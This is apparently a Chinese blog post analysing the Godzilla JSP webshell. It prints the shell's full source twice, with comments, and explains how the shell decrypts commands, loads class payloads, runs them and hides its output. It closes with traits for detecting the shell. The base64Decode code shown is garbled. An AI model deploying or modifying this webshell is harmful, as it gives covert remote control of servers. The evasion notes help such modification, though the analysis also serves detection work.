哥斯拉jsp馬分析

zeros__發表於2020-12-27

前言:

這篇文章分析了哥斯拉jsp馬的特徵原理,寫這篇文章的原因是希望提高對哥斯拉馬的識別、改造能力。
筆者接觸安全的時間較短,難免會有疏漏,懇請發現問題的大佬給予指正。

哥斯拉PHP馬解析可以看這篇文章:
https://blog.csdn.net/zeros__/article/details/111521314

正文:

貼一下哥斯拉的jsp馬:

 <  % !String xc = "3c6e0b8a9c15224a";
String pass = "pass";
String md5 = md5(pass + xc);
class X extends ClassLoader { 
    public X(ClassLoader z) { 
        super(z);	
    }
    public Class Q(byte[]cb) { 
        return super.defineClass(cb, 0, cb.length);
    }
}
public byte[]x(byte[]s, boolean m) { 
    try {
        javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); 
        c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES")); 
        return c.doFinal(s); 
    } catch (Exception e) {
        return null;
    }
}
public static String md5(String s) { 
    String ret = null;
    try {
        java.security.MessageDigest m;
        m = java.security.MessageDigest.getInstance("MD5");
        m.update(s.getBytes(), 0, s.length());
        ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
    } catch (Exception e) {}
    return ret;
}
public static String base64Encode(byte[]bs)throws Exception { 
    Class base64;
    String value = null;
    try {
        base64 = Class.forName("java.util.Base64");
        Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
        value = (String)Encoder.getClass().getMethod("encodeToString", new Class[]{
            byte[].class
        }).invoke(Encoder, new Object[]{
            bs
        });
    } catch (Exception e) {
        try {
            base64 = Class.forName("sun.misc.BASE64Encoder");
            Object Encoder = base64.newInstance();
            value = (String)Encoder.getClass().getMethod("encode", new Class[]{
                byte[].class
            }).invoke(Encoder, new Object[]{
                bs
            });
        } catch (Exception e2) {}
    }
    return value;
}
public static byte[]base64Decode(String bs)throws Exception { 
    Class base64; 
    byte[]value = null;
    try {
        base64 = Class.forName("java.util.Base64");
            bs
        });
    } catch (Exception e) {
        try {
            base64 = Class.forName("sun.misc.BASE64Decoder");
            Object decoder = base64.newInstance();
            value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[]{
                String.class
            }).invoke(decoder, new Object[]{
                bs
            });
        } catch (Exception e2) {}
    }
    return value;
}
 %  >  <  % try {  
    byte[]data = base64Decode(request.getParameter(pass)); 
    data = x(data, false); 
    if (session.getAttribute("payload") == null) { 
        session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data)); 
    } else {
        request.setAttribute("parameters", new String(data)); 
        Object f = ((Class)session.getAttribute("payload")).newInstance();
        f.equals(pageContext);
        response.getWriter().write(md5.substring(0, 16));
        response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));
        response.getWriter().write(md5.substring(16));
    }
} catch (Exception e) {}
%  >

分析下每個方法的作用,每個方法的作用可以看備註:

 <  % !String xc = "3c6e0b8a9c15224a";
String pass = "pass";
String md5 = md5(pass + xc);
class X extends ClassLoader { //繼承ClassLoader類(繼承類構造器)
    public X(ClassLoader z) { 
        super(z);	//呼叫ClassLoader的建構函式
    }
    public Class Q(byte[]cb) { 
        return super.defineClass(cb, 0, cb.length);// 把位元組碼轉化為Class
    }
}
public byte[]x(byte[]s, boolean m) { //對指定字串進行AES加解密
    try {
        javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); //獲取AES加密器
        c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES")); //指定加密器金鑰,進行加解密
        return c.doFinal(s);  //返回加密後的字串
    } catch (Exception e) {
        return null;
    }
}
public static String md5(String s) { //某單向加密演算法,根據某字串返回唯一值
    String ret = null;
    try {
        java.security.MessageDigest m;
        m = java.security.MessageDigest.getInstance("MD5");
        m.update(s.getBytes(), 0, s.length());
        ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
    } catch (Exception e) {}
    return ret;
}
public static String base64Encode(byte[]bs)throws Exception { //base64加密
    Class base64;
    String value = null;
    try {
        base64 = Class.forName("java.util.Base64");
        Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
        value = (String)Encoder.getClass().getMethod("encodeToString", new Class[]{
            byte[].class
        }).invoke(Encoder, new Object[]{
            bs
        });
    } catch (Exception e) {
        try {
            base64 = Class.forName("sun.misc.BASE64Encoder");
            Object Encoder = base64.newInstance();
            value = (String)Encoder.getClass().getMethod("encode", new Class[]{
                byte[].class
            }).invoke(Encoder, new Object[]{
                bs
            });
        } catch (Exception e2) {}
    }
    return value;
}
public static byte[]base64Decode(String bs)throws Exception { //base64解密
    Class base64; 
    byte[]value = null;
    try {
        base64 = Class.forName("java.util.Base64");
            bs
        });
    } catch (Exception e) {
        try {
            base64 = Class.forName("sun.misc.BASE64Decoder");
            Object decoder = base64.newInstance();
            value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[]{
                String.class
            }).invoke(decoder, new Object[]{
                bs
            });
        } catch (Exception e2) {}
    }
    return value;
}
 %  >  <  % try {  
    byte[]data = base64Decode(request.getParameter(pass)); //監聽傳參並解密
    data = x(data, false); //解密荷載,遠控命令
    if (session.getAttribute("payload") == null) { 
        session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data)); //將攻擊荷載儲存到session中
    } else {
        request.setAttribute("parameters", new String(data)); //將解密後遠控命令轉發給自己,儲存在pageContext中(免殺1)
        Object f = ((Class)session.getAttribute("payload")).newInstance();//將攻擊荷載建立成class 
        f.equals(pageContext);//執行遠控命令(免殺2)
        response.getWriter().write(md5.substring(0, 16));//對傳入的字串加密後取前16位,輸出在回顯前(二次加密),其餘的加在回顯後面
        response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));//通過f的toString()方法獲取遠控命令執行後的返回值,加密後輸出給哥斯拉服務端
        response.getWriter().write(md5.substring(16));
    }
} catch (Exception e) {}
%  >

接下來是分析過程:

木馬一開始的class X是一個類構造器,用於將字串格式的攻擊荷載建立成類。

定義的x()方法用於AES加解密(劃重點,帶AES的木馬不一定是冰蠍還有可能是哥斯拉)。

md5()用來根據指定字串,生成加密後的字串,生成後的字串是無法解密的。在木馬起到的功能是通過加密的方式完成服務端校驗,以及對返回值的二次加密。

base64Encode()和base64Decode()兩個方法本別用來進行base64加解密。


一行一行看儲存、利用攻擊荷載的部分:

 byte[]data = base64Decode(request.getParameter(pass));

通過request.getParameter()方法監聽通過http協議提交過來的資料,取出名為pass的變數(即該哥斯拉馬對應的密碼)的值,通過base64解密後儲存到data中。

data = x(data, false);

二次解密攻擊荷載/遠控命令

  if (session.getAttribute("payload") == null) { 
        session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data)); //將攻擊荷載儲存到session中

如果session中應該儲存攻擊荷載的地方現在是空的,儲存傳入的字串到session中(儲存攻擊荷載)。

request.setAttribute("parameters", new String(data));

通過request.setAttribute()方法轉發解密後的請求給自己。之後執行遠控程式碼時會使用重新接收的請求。這一步從程式碼層面上應該沒有什麼特殊意義,但是可以起到免殺的作用。

 Object f = ((Class)session.getAttribute("payload")).newInstance();//將攻擊荷載建立成class 

從session中取出攻擊荷載,用之前定義的類構造器X方法將字串格式的攻擊荷載轉化成字串格式。

 f.equals(pageContext);

通過攻擊荷載執行遠控命令。

response.getWriter().write(md5.substring(0, 16));

通過自定義的MD5()方法加密傳入的遠控命令,取前16位放在返回值前面。這是因為返回值經過了bash64加密,所以可以通過在其前後都新增字串的形式進行二次加密。如果不知道前後新增了多少字串,就無法進行解密。

response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)))

通過f的toString()方法獲取遠控命令執行後的返回值,加密後輸出給哥斯拉服務端

response.getWriter().write(md5.substring(16));

取上上行加密後剩下的部分,放在返回值的後面(二次加密)。

} catch (Exception e) {}

以上程式碼執行時忽略異常,執行失敗不告警。


總結一下jsp哥斯拉的一些特徵。
1)會呼叫javax.crypto.Cipher.getInstance()進行AES加密。加密時使用的鹽值是固定好的。
2)可能會定義某單向加密演算法,也可能直接使用MD5()或冰蠍加密。
3)攻擊荷載儲存在session中,會有一個向session儲存荷載的步驟
4)會通過攻擊荷載中的equals命令執行遠控命令。
5)會在返回值前插入一個16位長的字串。插入的字串和傳入的引數有關。
6)通過攻擊荷載中的toString()獲取執行結果。

以上幾點涉及到了服務端的執行邏輯、應該在改造、變形木馬時很難隱藏。

相關文章